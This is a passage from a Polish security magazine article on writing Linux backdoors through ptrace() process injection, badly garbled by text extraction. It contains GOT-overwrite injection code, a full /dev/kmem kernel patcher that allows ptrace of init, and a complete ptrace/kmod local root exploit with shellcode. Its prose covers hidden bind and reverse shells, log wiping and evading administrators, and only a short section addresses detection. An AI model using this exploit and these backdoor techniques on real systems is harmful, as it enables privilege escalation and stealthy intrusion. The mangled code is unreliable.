got

(

buf

"read"

))

 

<

 

0

)

 

{

 // grab read's GOT addy

 

fprintf

(

stderr

"Unable to extract read()

\'

s GOT address

\n

"

);

 

return

 

(-

1

);

}

/*

 

wstrzykniecie pasożyta do segmentu kodu

*/

if

 

(

inject

(

pid

textseg

inject_parasite_size

()

inject_parasite_ptr

())

 

<

 

0

)

 

{

 

fprintf

(

stderr

" Wstrzykniecie nieudane! (%s)

\n

 "

strerror

(

errno

));

 

return

 

(-

1

);

}

/*

 

nadpisz globalny offset funkcji read w tablicy adresów

*/

if

 

(

inject

(

pid

readgot

4

(

char

 

*)

 

&

textseg

)

 

<

 

0

)

 

{

 

fprintf

(

stderr

" Nieudane wstrzykniecie rekordu GOT! (%s)

\n

"

strerror

(

errno

));

 

return

 

(-

1

);

}

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

19

Na  szczęście  nie  musimy  się 

martwić  stosem  wywołań  i  zerami 
w  kodzie;  nasze  podmienione  wy-
wołanie  systemowe  żyje  wewnątrz 
procesu i znów, niestety, miejsce na 
nasz  kod  jest  ograniczone.  Spójrz-
my  na  informacje,  jakie  mamy,  że-
by skonstruować nasz nadpisywacz 
funkcji:

•   sam proces i jego ID;
•   funkcja, która ma być naszą furt-

ką;

•   adres funkcji z Globalnej Tablicy 

Przesunięć;

•   adres segmentu .text;
•   nasza implementacja funkcji furt-

kowej.

Przełamywanie 

ograniczenia rozmiaru

Jak  powiedziałem,  nagłówki  ELF 
zajmują  ok.  244  bajty  i  to  jest  za 
mało  na  dużą  furtkę,  zatem  usiło-
wałem  wymyślić  sposób  na  zaim-
plementowanie  znacznie  większej 
furtki.

Pierwszym  pomysłem  jest  przy-

dział dynamicznej pamięci:

•   wstaw  na  stos  kod,  który  zama-

puje nowy obszar pamięci (za po-
mocą 

mmap()

);

•   pobierz wskaźnik do zamapowa-

nej pamięci;

•   użyj 

inject()

 do wstawienia two-

jego kodu do pamięci przydzielo-
nej dynamicznie, ale zamiast ad-
resu  segmentu  .text  użyj  zama-
powanej pamięci.

sh_code = malloc(strlen((char*) 
infect_code) +4);
strcpy(sh_code,(char *) infect_code);
reg.eax = infect_ptrace(pid);

Żeby zaalokować pamięć bez wyko-
nywania stosu, można lekko zmodyfi-
kować schemat: 

•   nadpisz  pozycję  segmentu  .text 

przez 

infect _ code()

.  Nie  zapo-

mnij dodać oryginalne read.

•   odwołaj  się  do  oryginalnego 

read()

,  po  czym  zachowaj  zwró-

coną  wartość.  Jeśli  np.  stawiasz 
furtkę  na  Netcat,  należy  się 

Listing 8a. 

Łata na jądro umożliwiająca ptrace() na init

#define _GNU_SOURCE
#include 

<asm/unistd.h>

#include 

<sys/types.h>

#include 

<sys/stat.h>

#include 

<unistd.h>

#include 

<string.h>

#include 

<stdlib.h>

#include 

<stdio.h>

#include 

<fcntl.h>

int

 

kmem_fd

;

/* low level utility subroutines */

void

 

read_kmem

(

 

off_t

 

offset

void

 

*

buf

size_t

 

count

 

)

{

 

if

(

 

lseek

(

 

kmem_fd

offset

SEEK_SET

 

)

 

!=

 

offset

 

)

 

{

 

perror

(

 

"lseek(kmem)"

 

);

 

exit

(

 

1

 

);

 

}

 

if

(

 

read

(

 

kmem_fd

buf

count

 

)

 

!=

 

(

long

)

 

count

 

)

 

{

 

perror

(

 

"read(kmem)"

 

);

 

exit

(

 

2

 

);

 

}

}

void

 

write_kmem

(

 

off_t

 

offset

void

 

*

buf

size_t

 

count

 

)

{

 

if

(

 

lseek

(

 

kmem_fd

offset

SEEK_SET

 

)

 

!=

 

offset

 

)

 

{

 

perror

(

 

"lseek(kmem)"

 

);

 

exit

(

 

3

 

);

 

}

 

if

(

 

write

(

 

kmem_fd

buf

count

 

)

 

!=

 

(

long

)

 

count

 

)

 

{

 

perror

(

 

"write(kmem)"

 

);

 

exit

(

 

4

 

);

 

}

}

#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256

int

 

main

(

 

void

 

)

{

 

int

 

kmode

gcc_ver

;

 

int

 

idt

int80

sct

ptrace

;

 

char

 

buffer

[

BUFSIZE

]

*

p

c

;

 
 

if

(

 

(

 

kmem_fd

 

=

 

open

(

 

"/dev/kmem"

O_RDWR

 

)

 

)

 

<

 

0

 

)

 

{

 

dev_t

 

kmem_dev

 

=

 

makedev

(

 

1

2

 

);

 

perror

(

 

"open(/dev/kmem)"

 

);

 

if

(

 

mknod

(

 

"/tmp/kmem"

0600

 

|

 

S_IFCHR

kmem_dev

 

)

 

<

 

0

 

)

 

{

 

perror

(

 

"mknod(/tmp/kmem)"

 

);

 

return

(

 

16

 

);

 

}

 

if

(

 

(

 

kmem_fd

 

=

 

open

(

 

"/tmp/kmem"

O_RDWR

 

)

 

)

 

<

 

0

 

)

 

{

 

perror

(

 

"open(/tmp/kmem)"

 

);

 

return

(

 

17

 

);

 

}

 

unlink

(

 

"/tmp/kmem"

 

);

 

}

 

asm

(

 

"sidt %0"

 

:

 

"=m"

 

(

 

buffer

 

)

 

);

 

idt

 

=

 

*(

int

 

*)(

 

buffer

 

+

 

2

 

);

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

20

potem  podłączyć  do  niego  i  wy-
słać  jakieś  dane,  żeby  wymusić 
zawołanie podmienionego 

read()

;

•   następnym  wywołaniem  będzie 

mmap()

,  które  przydzieli  pamięć. 

Pobierz wartość zwróconą i użyj 
jej w 

inject()

.

•  

inject()

 jest prostą funkcją wstrzy-

kiwania 

ptrace()

.  Mały  przykład, 

czego potrzeba do 

infect _ code()

 

po  podłączeniu  się  do  procesu, 
pokazano na Listingu 5.

Teraz możemy implementować furtki 
niemal  nieograniczonego  rozmiaru, 
możemy  zatem  wstrzykiwać  znacz-
nie  bardziej  zaawansowany  kod  do 
procesu.

Co możemy

Co  możemy  zrobić  uzbrojeni  w  tą 
wiedzę? W sumie jest to to samo, co 
standardowe  nadpisywanie  funkcji 
(jeśli jesteś już z tym oswojony), tak 
jak używaliśmy 

ptrace()

 do nadpisa-

nia i wstrzykiwania kodu. Popaprzmy 
na parę podstawowych możliwości:

•   zmiana  wartości  zwracanej,  np. 

udawane wiadomości z loga itp.;

•   usuwanie  plików  (wiadomości  z 

loga),  które  mogłyby  odkryć  IP 
atakującego itd.;

•   ukrywanie  plików,  np.  wirusów 

i  robaków,  czy  zaszyfrowanych 
wiadomości w procesie;

•   nasłuchiwanie  (snifowanie)  lub 

logowanie komunikacji;

•   uruchamianie  powłoki  do  połą-

czenia  lub  łączenie  się  w  drugą 
stronę;

•   przejmowanie sesji;
•   zmienianie znaczników czasu lub 

sum md5.

Jak widać, mamy do dyspozycji cały 
wachlarz  metod  stawiania  furtek.  Co 
ważne, możesz kontrolować całą ko-
munikację  procesu,  a  nawet  dokład-
nie cały przepływ wykonania. Możesz 
dodawać nowe funkcje do niego, lub 
usuwać  niektóre  (jak  funkcje  logują-
ce) i możesz też wstawiać niewidzial-
ne furtki. Admini zwykle ufają swoim 

daemonom,  więc  jeśli  zainfekujesz 

named, jest duża szansa, że nikt tego 
nie namierzy, jeśli nie otworzysz no-

Listing 8b. 

Łata na jądro umożliwiająca ptrace() na init

 

/* get system_call() address */

 

read_kmem

(

 

idt

 

+

 

(

 

0x80

 

<<

 

3

 

)

buffer

8

 

);

 

int80

 

=

 

(

 

*(

unsigned

 

short

 

*)(

 

buffer

 

+

 

6

 

)

 

<<

 

16

 

)

 

+

 

*(

unsigned

 

short

 

*)(

 

buffer

 

);

 

/* get system_call_table address */

 

read_kmem

(

 

int80

buffer

BUFSIZE

 

);

 

if

(

 

!

 

(

 

p

 

=

 

memmem

(

 

buffer

BUFSIZE

"

\x

FF

\x

14

\x

85"

3

 

)

 

)

 

)

 

{

 

fprintf

(

 

stderr

"fatal: can't locate sys_call_table

\n

"

 

);

 

return

(

 

18

 

);

 

}

 

sct

 

=

 

*(

int

 

*)(

 

p

 

+

 

3

 

);

 

printf

(

 

" . sct @ 0x%08X

\n

"

sct

 

);

 

/* get sys_ptrace() address and patch it */

 

read_kmem

(

 

(

off_t

)

 

(

 

p

 

+

 

3

 

-

 

buffer

 

+

 

syscall

 

)

buffer

4

 

);

 

read_kmem

(

 

sct

 

+

 

__NR_ptrace

 

*

 

4

(

void

 

*)

 

&

ptrace

4

 

);

 

read_kmem

(

 

ptrace

buffer

BUFSIZE

 

);

 

if

(

 

(

 

p

 

=

 

memmem

(

 

buffer

BUFSIZE

"

\x

83

\x

FE

\x

10"

3

 

)

 

)

 

)

 

{

 

p

 

-=

 

7

;

 

c

 

=

 

*

p

 ^ 

1

;

 

kmode

 

=

 

*

p

 

&

 

1

;

 

gcc_ver

 

=

 

GCC_295

;

 

}

 

else

 

{

 

if

(

 

(

 

p

 

=

 

memmem

(

 

buffer

BUFSIZE

"

\x

83

\x

FB

\x

10"

3

 

)

 

)

 

)

 

{

 

p

 

-=

 

2

;

 

c

 

=

 

*

p

 ^ 

4

;

 

kmode

 

=

 

*

p

 

&

 

4

;

 

gcc_ver

 

=

 

GCC_3XX

;

 

}

 

else

 

{

 

fprintf

(

 

stderr

"fatal: can't find patch 1 address

\n

"

 

);

 

return

(

 

19

 

);

 

}

 

}

 

write_kmem

(

 

p

 

-

 

buffer

 

+

 

ptrace

&

c

1

 

);

 

printf

(

 

" . kp1 @ 0x%08X

\n

"

p

 

-

 

buffer

 

+

 

ptrace

 

);

 

/* get ptrace_attach() address and patch it */

 

if

(

 

gcc_ver

 

==

 

GCC_3XX

 

)

 

{

 

p

 

+=

 

5

;

 

ptrace

 

+=

 

*(

int

 

*)(

 

p

 

+

 

2

 

)

 

+

 

p

 

+

 

6

 

-

 

buffer

;

 

read_kmem

(

 

ptrace

buffer

BUFSIZE

 

);

 

p

 

=

 

buffer

;

 

}

 

if

(

 

!

 

(

 

p

 

=

 

memchr

(

 

p

0xE8

24

 

)

 

)

 

)

 

{

 

fprintf

(

 

stderr

"fatal: can't locate ptrace_attach

\n

"

 

);

 

return

(

 

20

 

);

 

}

 

ptrace

 

+=

 

*(

int

 

*)(

 

p

 

+

 

1

 

)

 

+

 

p

 

+

 

5

 

-

 

buffer

;

 

read_kmem

(

 

ptrace

buffer

BUFSIZE

 

);

 

if

(

 

!

 

(

 

p

 

=

 

memmem

(

 

buffer

BUFSIZE

"

\x

83

\x

79

\x

7C"

3

 

)

 

)

 

)

 

{

 

fprintf

(

 

stderr

"fatal: can't find patch 2 address

\n

"

 

);

 

return

(

 

21

 

);

 

}

 

c

 

=

 

(

 

!

 

kmode

 

);

 

write_kmem

(

 

p

 

+

 

3

 

-

 

buffer

 

+

 

ptrace

&

c

1

 

);

background image

Pisanie własnych furtek

wego  portu.  Po  prostu  pozostawimy 
powłokę  na  naszym  terminalu,  żeby 
zapobiec łatwemu wykryciu. Zresztą, 
później będzie o tym więcej.

Objaśnienia 

do różnych furtek

Mamy do dyspozycji wiele możliwych 
furtek,  ale  chyba  nie  znasz  chyba 
wszystkich? Zagłębmy się w szczegó-
ły.  Pokażę  parę  zrzutów  ekranu  róż-
nych pasożytów w akcji i wyjaśnię, o 
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.

Infekcja procesu init 

za pomocą /dev/kmem

Zwykle  nie  możesz  się  podłączyć 
do procesu init przez 

ptrace()

. Jed-

nak  odpowiednim  trikiem  możemy 
proces  init  uczynić  możliwym  do 
śledzenia  i  w  ten  sposób  zainfeko-
wać  go  pasożytem.  Rzućmy  okiem 
na  wywołanie  systemowe 

ptrace()

 

(

sys _ ptrace

), znajdujące się w arch/

i386/kernel/ptrace.c:

ret = -EPERM;
if (pid == 1)
      /* you may not mess with init */
   goto out_tsk;
if (request == PTRACE_ATTACH)
{

Figure 2. 

Infekowanie procesu

Figure 3. 

Testowanie infekcji

Listing 8c. 

Łata na jądro umożliwiająca ptrace() na init

 

printf

(

 

" . kp2 @ 0x%08X

\n

"

p

 

+

 

3

 

-

 

buffer

 

+

 

ptrace

 

);

 

/* success */

 

if

(

 

c

 

)

 

printf

(

 

" - kernel unpatched

\n

"

 

);

 

else

 

printf

(

 

" + kernel patched

\n

"

 

);

 

close

(

 

kmem_fd

 

);

 

return

(

 

0

 

);

}

R

E

K

L

A

M

A

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

22

   ret = ptrace_attach(child);
   goto out_tsk;
}

Christophe Devine napisał mały pro-
gram, który jest rozprowadzany na li-
cencji publicznej GNU, do załatania 
jądra  w  czasie  wykonywania,  żeby 
można  było  śledzić  init.  Załączam 
ten  kod  (patrz  Listingi  8).  Teraz  po 
załataniu tą metodą 

/dev/kmem

, moż-

na  zainfekować  proces  init.  Jednak 
po zainfekowaniu, init nie będzie się 
już  znajdował  na  szczycie  procesu 
i  przez  to  może  ujawnić,  że  system 
został naruszony.

Snifer do read()

Wystarczy  teorii,  skupmy  się  teraz 
na  konstrukcji  sniffera  read().  Po 
prostu  wstrzykniemy  instrukcje  pa-
sożyta w segment kodu, nadpisując 
tym  samym  globalny  offset  funkcji 
read() tak, aby wskazywała na nasz 
kod.  Jego  wykonanie  będzie  imito-
wało funkcję read() z uzupełnieniem 
o logowanie wszystkiego do określo-
nego pliku. Kod jest wart więcej niż 
słowa, więc zacznijmy. Na początek 
spójrzmy na nasz kod zastępczy: (Li-
sting 6)

Istotną rzeczą, którą w tym miej-

scu trzeba odnotować, pozwalającą 
uniknąć  męczącej  sesji  z  debuge-
rem, jest to, iż różne wersje gcc trak-
tują wywołanie 

inline asm()

 inaczej. 

W związku z tym, nawet jeśli powyż-
sze wywołanie działa na niektórych 
wersjach gcc, na nowszych już nie-
koniecznie.  Aby  temu  zaradzić  po-
stąpimy tak jak w pierwszym przyto-
czonym przykładzie:

asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");

Nasz  kod  zastępczy  jest  gotowy. 
To  podstawa  naszej  furtki,  paso-
żyt. Przejdźmy teraz do potrzebnych 
funkcji.  Komentarze  prezentuję  po-
wyżej funkcji:

Furtka przez dup2()

No  cóż,  ta  furtka  jest  całkiem  nie-
widzialna  i  netstat  jej  nie  pokazu-
je.  Oczywiście  nie  korzystamy  z 

Listing 9a. 

Linux kernel ptrace()/kmod local root exploit

#include 

<grp.h>

#include 

<stdio.h>

#include 

<fcntl.h>

#include 

<errno.h>

#include 

<paths.h>

#include 

<string.h>

#include 

<stdlib.h>

#include 

<signal.h>

#include 

<unistd.h>

#include 

<sys/wait.h>

#include 

<sys/stat.h>

#include 

<sys/param.h>

#include 

<sys/types.h>

#include 

<sys/ptrace.h>

#include 

<sys/socket.h>

#include 

<linux/user.h>

char

 

cliphcode

[]

 

=

 

"

\x

90

\x

90

\x

eb

\x

1f

\x

b8

\x

b6

\x

00

\x

00"

 

"

\x

00

\x

5b

\x

31

\x

c9

\x

89

\x

ca

\x

cd

\x

80"

 

"

\x

b8

\x

0f

\x

00

\x

00

\x

00

\x

b9

\x

ed

\x

0d"

 

"

\x

00

\x

00

\x

cd

\x

80

\x

89

\x

d0

\x

89

\x

d3"

 

"

\x

40

\x

cd

\x

80

\x

e8

\x

dc

\x

ff

\x

ff

\x

ff"

;

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t

 

parent

 

=

 

1

;

pid_t

 

child

 

=

 

1

;

pid_t

 

victim

 

=

 

1

;

volatile

 

int

 

gotchild

 

=

 

0

;

void

 

fatal

(

char

 

*

 

msg

)

{

 

perror

(

msg

);

 

kill

(

parent

SIGKILL

);

 

kill

(

child

SIGKILL

);

 

kill

(

victim

SIGKILL

);

}

void

 

putcode

(

unsigned

 

long

 

*

 

dst

)

{

 

char

 

buf

[

MAXPATHLEN

 

+

 

CODE_SIZE

];

 

unsigned

 

long

 

*

 

src

;

 

int

 

i

len

;

 

memcpy

(

buf

cliphcode

CODE_SIZE

);

 

len

 

=

 

readlink

(

"/proc/self/exe"

buf

 

+

 

CODE_SIZE

MAXPATHLEN

 

-

 

1

);

 

if

 

(

len

 

==

 

-

1

)

 

fatal

(

"[-] Unable to read /proc/self/exe"

);

 

len

 

+=

 

CODE_SIZE

 

+

 

1

;

 

buf

[

len

]

 

=

 '

\0

'

;

 

src

 

=

 

(

unsigned

 

long

*)

 

buf

;

 

for

 

(

i

 

=

 

0

;

 

i

 

<

 

len

;

 

i

 

+=

 

4

)

 

if

 

(

ptrace

(

PTRACE_POKETEXT

victim

dst

++

*

src

++)

 

==

 

-

1

)

 

fatal

(

"[-] Unable to write shellcode"

);

}

void

 

sigchld

(

int

 

signo

)

{

 

struct

 

user_regs_struct

 

regs

;

 

if

 

(

gotchild

++

 

==

 

0

)

 

return

;

 

fprintf

(

stderr

"[+] Signal caught

\n

"

);

 

if

 

(

ptrace

(

PTRACE_GETREGS

victim

NULL

&

regs

)

 

==

 

-

1

)

 

fatal

(

"[-] Unable to read registers"

);

 

fprintf

(

stderr

"[+] Shellcode placed at 0x%08lx

\n

"

regs

.

eip

);

 

putcode

((

unsigned

 

long

 

*)

regs

.

eip

);

 

fprintf

(

stderr

"[+] Now wait for suid shell...

\n

"

);

 

if

 

(

ptrace

(

PTRACE_DETACH

victim

0

0

)

 

==

 

-

1

)

 

fatal

(

"[-] Unable to detach from victim"

);

 

exit

(

0

);

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

23

Listing 9b. 

Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa

}

void

 

sigalrm

(

int

 

signo

)

{

 

errno

 

=

 

ECANCELED

;

 

fatal

(

"[-] Fatal error"

);

}

void

 

do_child

(

void

)

{

 

int

 

err

;

 

child

 

=

 

getpid

();

 

victim

 

=

 

child

 

+

 

1

;

 

signal

(

SIGCHLD

sigchld

);

 

do

 

err

 

=

 

ptrace

(

PTRACE_ATTACH

victim

0

0

);

 

while

 

(

err

 

==

 

-

1

 

&&

 

errno

 

==

 

ESRCH

);

 

if

 

(

err

 

==

 

-

1

)

 

fatal

(

"[-] Unable to attach"

);

 

fprintf

(

stderr

"[+] Attached to %d

\n

"

victim

);

 

while

 

(!

gotchild

)

 

;

 

if

 

(

ptrace

(

PTRACE_SYSCALL

victim

0

0

)

 

==

 

-

1

)

 

fatal

(

"[-] Unable to setup syscall trace"

);

 

fprintf

(

stderr

"[+] Waiting for signal

\n

"

);

 

for

(;;);

}

void

 

do_parent

(

char

 

*

 

progname

)

{

 

struct

 

stat

 

st

;

 

int

 

err

;

 

errno

 

=

 

0

;

 

socket

(

AF_SECURITY

SOCK_STREAM

1

);

 

do

 

{

 

err

 

=

 

stat

(

progname

&

st

);

 

}

 

while

 

(

err

 

==

 

0

 

&&

 

(

st

.

st_mode

 

&

 

S_ISUID

)

 

!=

 

S_ISUID

);

 

if

 

(

err

 

==

 

-

1

)

 

fatal

(

"[-] Unable to stat myself"

);

 

alarm

(

0

);

 

system

(

progname

);

}

void

 

prepare

(

void

)

{

 

if

 

(

geteuid

()

 

==

 

0

)

 

{

 

initgroups

(

"root"

0

);

 

setgid

(

0

);

 

setuid

(

0

);

 

execl

(

_PATH_BSHELL

_PATH_BSHELL

NULL

);

 

fatal

(

"[-] Unable to spawn shell"

);

 

}

}

int

 

main

(

int

 

argc

char

 

**

 

argv

)

{

 

prepare

();

 

signal

(

SIGALRM

sigalrm

);

 

alarm

(

10

);

 

parent

 

=

 

getpid

();

 

child

 

=

 

fork

();

 

victim

 

=

 

child

 

+

 

1

;

 

if

 

(

child

 

==

 

-

1

)

 

fatal

(

"[-] Unable to fork"

);

 

if

 

(

child

 

==

 

0

)

 

do_child

();

 

else

 

do_parent

(

argv

[

0

]);

 

return

 

0

;

}

gniazd,  w  związku  z  czym  musimy 
napisać  własną  implementacje  po-
włoki.  Trzeba  przy  tym  pamiętać, 
w  jaki  sposób  działa  powłoka  wią-
żąca. Duplikuje (używając 

dup2

) de-

skryptory, 

stdout/in/err

 by podpiąć 

je pod gniazdko tak, aby nasza po-
włoka  pokazała  się  po  właściwej 
stronie,  a  nie  na  serwerze.  Nasz 
kod nie używa gniazd, w związku z 
czym  jest  niewidzialny  dla  zwykłe-
go admina. Wstrzykiwany kod może 
uzyskać  dostęp  do  wszystkich  da-
nych procesu, w tym deskryptorów. 
Gdy łączymy się ze zdalną usługą, 
wywoływany  jest 

fork()

  a  następ-

nie 

accept()

, więc alokowane są no-

we deskryptory, do których chcemy 
uzyskać dostęp.

Jest kilka na to sposobów: l mo-

żemy  nadpisać 

accept()

  naszą  wła-

sną  implementacją,  która  zapisze 
zwracane wartości do jakiegoś pliku, 
z którego będzie można je odczytać. 
Jest  to  lepsze  niż  poprzednio,  lecz 
nie idealne wyście.

l  możemy  użyć 

procfs

,  informa-

cja  o  stanie  używanych  deskrypto-
rów jest w 

/proc/ _ pid _ /fd.

 Po pro-

stu wygrepuj ostatni deskryptor. Ten 
wariant nie jest jednak w pełni zado-
walający, gdyż jego realizacja zajmie 
z byt dużo miejsca. Również 

procfs

 

może być niedostępny w niektórych 
systemach.

l  metoda 

dup2

.  Nie  zajmuje  do-

datkowego  miejsca,  lecz  praw-
dopodobnie  nie  jest  uniwersalna. 
Zwykle  proces  ma  stałą  ilość  uży-
wanych  deskryptorów  i  możemy 
je  wykryć  używając  strace.  Ma-
ły przykład z Netstat: $nc -lp 1111. 
czytamy  pid,  a  następnie  wykonu-
jemy  strace  -p.  Z  kolei  po  komen-
dzie telnet localhost 1111 odczytu-
jemy zwracaną wartość z accept(), 
która z reguły jest 3 bądź 4 w więk-
szości przypadków. 

Połączenie zwrotne

Zwykle  chcemy  odpalić  powłokę 
wiążącą, lecz co zrobić w sytuacji, 
gdy firewall blokuje port? Rozwiąza-
niem  jest  połączenie  wychodzące. 
Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami 
istnieje  ograniczenie  do  kilku  do-

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

24

zwolonych  portów.  W  tym  wypad-
ku  można  sprawdzić  DNS  (port 
53), WWW (port 80) lub FTP (port 
21) itd. Ostatnim pozostającym ele-
mentem  będzie  stworzenie  kodu 
zastępczego  do  połączenia  zwrot-
nego, a przy technikach, które by-
ły  prezentowane  nie  powinno  sta-
nowić  to  problemu.  Na  początek 
sugeruję  użyć  stałej  wartości  dla 
adresu IP takiej jak #define CB_IP 
127.0.0.1 a następnie po prostu wy-
konać 

connect()

  i  odpalić 

/bin/sh 

-i.

Przykład z życia

Po całej tej teorii przyszedł czas na 
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche-
macie 1 widać ściąganie wstrzykiwa-
cza 

ptrace()

,  zwanego  malaria,  do-

stępnego w internecie.

Odpalmy  Netcat  w  tle.  Będzie 

stanowił on nasz cel, który staramy 
się zainfekować. Schemat 2 pokazu-
je sposób infekcji procesu.

Teraz,  gdy  nasz  kod  powłoko-

wy jest wczytany do pamięci, może-
my dostrzec na ostatnim ekranie no-
wy  nasłuchujący  port  TCP.  Gdy  się 
z  nim  połączymy  uzyskamy  powło-
kę roota!

Był to przykład prostego wstrzy-

kiwacza  z  Internetu.  Istnieją  jednak 
bardziej  zaawansowane  wersje  ła-
twe do znalezienia, wiec jeśli chcesz 
znaleźć  i  przetestować  coś  więcej, 
sugeruję przeszukanie Google’a.

Ochrona 

przed tego typu atakami

Zanim  zaprezentujemy  sposób 
ochrony  przed  tego  typu  ataka-
mi,  najpierw  musimy  zapoznać  się 
ze  sposobem  detekcji  tego  typu  in-
fekcji.  Najlepszym  na  to  sposobem 
jest  porównanie  adresów  z  Global-
nej Tablicy Przesunięć. Można rów-
nież  napisać  lkm,  które  limituje  wy-
konanie 

ptrace()

 do root-a, gdyż jeśli 

atakujący posiada juz prawa root-a, 
nie ma się już co martwić o to, jakiej 
furtki  używa,  ale  można  się  dowie-
dzieć,  jak  uzyskał  do  niej  dostęp,  a 
następnie czeka cię reinstalacja. Ta-
kie lkm-y istnieją od lat i nie powinno 
być trudno je znaleźć.

Dodatek

2.4.x  kernel  patcher  pozwala  na 
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine 

devine@iie.cnam.fr).  Jest  to  dar-
mowy  program,  który  możesz  re-
dystrybuować i modyfikować w ra-
mach licencji GNU (General Public 
License) opublikowanej przez Free 
Software  Fundation  w  wersji  dru-
giej  lub  późniejszej.  Program  ten 
jest  użyteczny,  lecz  nie  daje  żad-
nych  gwarancji,  w  tym  gwarancji 
handlowej,  ani  sprawdzania  się  w 
określonym zastosowaniu. Odsyła-
my do GNU General Public Licen-
se po więcej szczegółów. Powinie-
neś  otrzymać  kopię  GNU  General 
Public License wraz z tym progra-
mem, jeśli nie, możesz napisać do 
Free  Software  Fundation,  Inc.,  59 
Temple  Place,  Suite  330,  Boston, 
MA 02111-1307 USA.

Eksploit  na  lokalnego  roota  do 

ptrace()/kmod

  jądra  Linuksa.  Ten 

kod  wykorzystuje  sytuację  wyści-
gu  w 

kernel/kmod.c

,  który  tworzy 

wątek  w  sposób  narażający  bez-
pieczeństwo.  Ta  dziura  pozwala  na 

ptrace()

  w  sklonowanym  procesie, 

dając  możliwość  uzyskania  kontro-
li  nad  uprzywilejowanym  plikiem  bi-
narnym  modprobe.  Powinno  dzia-
łać pod każdym jądrem 2.2.x i 2.4.x. 
Odkryłem ten głupi błąd niezależnie 
25 stycznia 2003, tzn. (prawie) dwa 
miesiące przed poprawką i jej opubli-
kowaniem przez Red Hata i innych. 
Wojciech  Purczyński  cliph@isec.pl. 

TEN  PROGRAM  JEST  WYŁĄCZ-

NIE  DO  CELÓW  EDUKACYJNYCH 

I JEST DOSTARCZONY W TAKIEJ 

POSTACI BEZ ŻADNEJ GWARAN-

CJI ((c) 2003 Copyright by iSEC Se-
curity Research).

Podsumowanie

No dobrze, nauczyliśmy się niezłych 
sposobów  na  manipulowanie  cho-
dzącymi programami w pamięci. Da-
je nam to wiele możliwości zmienia-
nia przepływu wykonania w taki spo-
sób, że możemy całkowicie kontrolo-
wać program.

Załóżmy,  że  mamy  Daemona 

O  Zamkniętych  Źródłach,  który  nie 
ma  wystarczających  elementów  lo-
gujących, a plik z logiem jest mocno 
uproszczony, ale my chcemy więcej 
informacji!  Normalnie  to  trzeba  by 
z  tym  żyć,  albo  zażądać  poprawek 
od dostawcy. Teraz możesz sobie to 
sam uprościć!

Piszesz  drobny  wstrzykiwacz 

ptrace()

,  który  zamienia  funkcje  lo-

gujące  na  twoje,  albo  po  prostu  lo-
gujesz  wszystko  poprzez  podpina-
nie  się  pod 

read()/write()

  czy  po-

dobnych.

Zwykle  ta  wiedza  jest  wykorzy-

stywana  przez  testery  penetracji  z 
powłoką z wstrzykiwaczem 

ptrace()

 

do włamania się na chroot, albo ha-
kerów do furtkowania binariów, ale ta 
wiedza daje ci też większą elastycz-
ność w pracy administratorskiej przy 
pracy z oprogramowaniem zamknię-
tym. l

O autorze

Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako 
administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w 
firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla 
Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
sty penetracji. Kontakt z autorem: stefan.klaas@gmx.net

W Sieci

•   http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-

cal Reference: Base Operating System and Extensions, Volume 1,

•   http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego 

wstrzykującego przez 

ptrace()

,

•   http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2 

ptrace()

.

background image
background image

www.hakin9.org

hakin9 Nr 1/2007

26

Atak

N

ajbardziej powszechne i popularne ko-
dy powłoki działają na bazie dostępu do 
linii poleceń systemu, który jest celem 

ataku – stąd zresztą wzięła się nazwa tej tech-
niki. Powłoka to program, który daje dostęp do 
serwisów udostępnianych przez jadra systemu. 
Przykładami powłoki mogą być CMD.EXE (dla 
systemów z rodziny Windows) bądź /bin/bash 
(dla systemów z rodziny Linux, UNIX). Kody po-
włoki  próbują  uruchomić  właśnie  te  aplikacje. 
Zagrożenie  powiązane  z  kodem  powłoki  jest 
bardzo duże, jako że kod taki będzie wywoła-
ny z takimi samymi przywilejami jak wykorzy-
stany przez niego proces – mogą być to zarów-
no przywileje użytkownika jak i administratora. 
Mają te ostatnie, kod powłoki ma moc do prze-
prowadzenia niemalże każdej operacji w syste-
mie, a na dodatek może zrobić to w niewidocz-
ny sposób, jako że jego poczynania będą ma-
skowane przez eksploatowny proces.

Istnieje  duża  różnorodność  rozwiązań 

stworzonych  w  celu  zapobiegania  kodów
powłoki  w  systemach.  Może  to  być  zarów-
no instalacja dedykowanych systemów detek-
cji  i  usuwania  intruzów  jak  i  różnego  rodzaju 
czynności  prewencyjne  narzucone  przez  ad-
ministratora systemu. Z punktu widzenia ata-

kującego  są  to  pewne  przeszkody.  W  niniej-
szym artykule przedstawię koncepcje na któ-
rych bazuje część ze wspomnianych rozwią-
zań wskazując przy okazji na ich słabe strony. 
Pokażę również przykład rzeczywistego kodu 
powłoki,  który  wykorzystuje  słabe  punkty  w 
celu  ominięcia  systemu  zabezpieczeń.  Mimo 
tego,  iż  prezentowane  kody  powłoki  zostały 

Schellcody 

nowej genaracji

Itzik Kotler

stopień trudności

Kod powłoki jest fragmentem kodu maszynowego, który 

wykorzystuje się jako ładunek przy atakach bazujących na 

wykorzystaniu błędów softwarowych. Wykorzystywanie słabych 

punktów w rodzaju przepełnienia bufora przydzielonego na stosie 

lub stercie lub stringów formatujących wymagają kodu powłoki. Kod 

ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.

Z artykułu dowiesz...

•   jakie  przeszkody  spotyka  napastnik  próbujący 

uruchomić  kod  powłoki  na  systemie  będącym 
celem ataku oraz jak wyglądają sposoby obej-
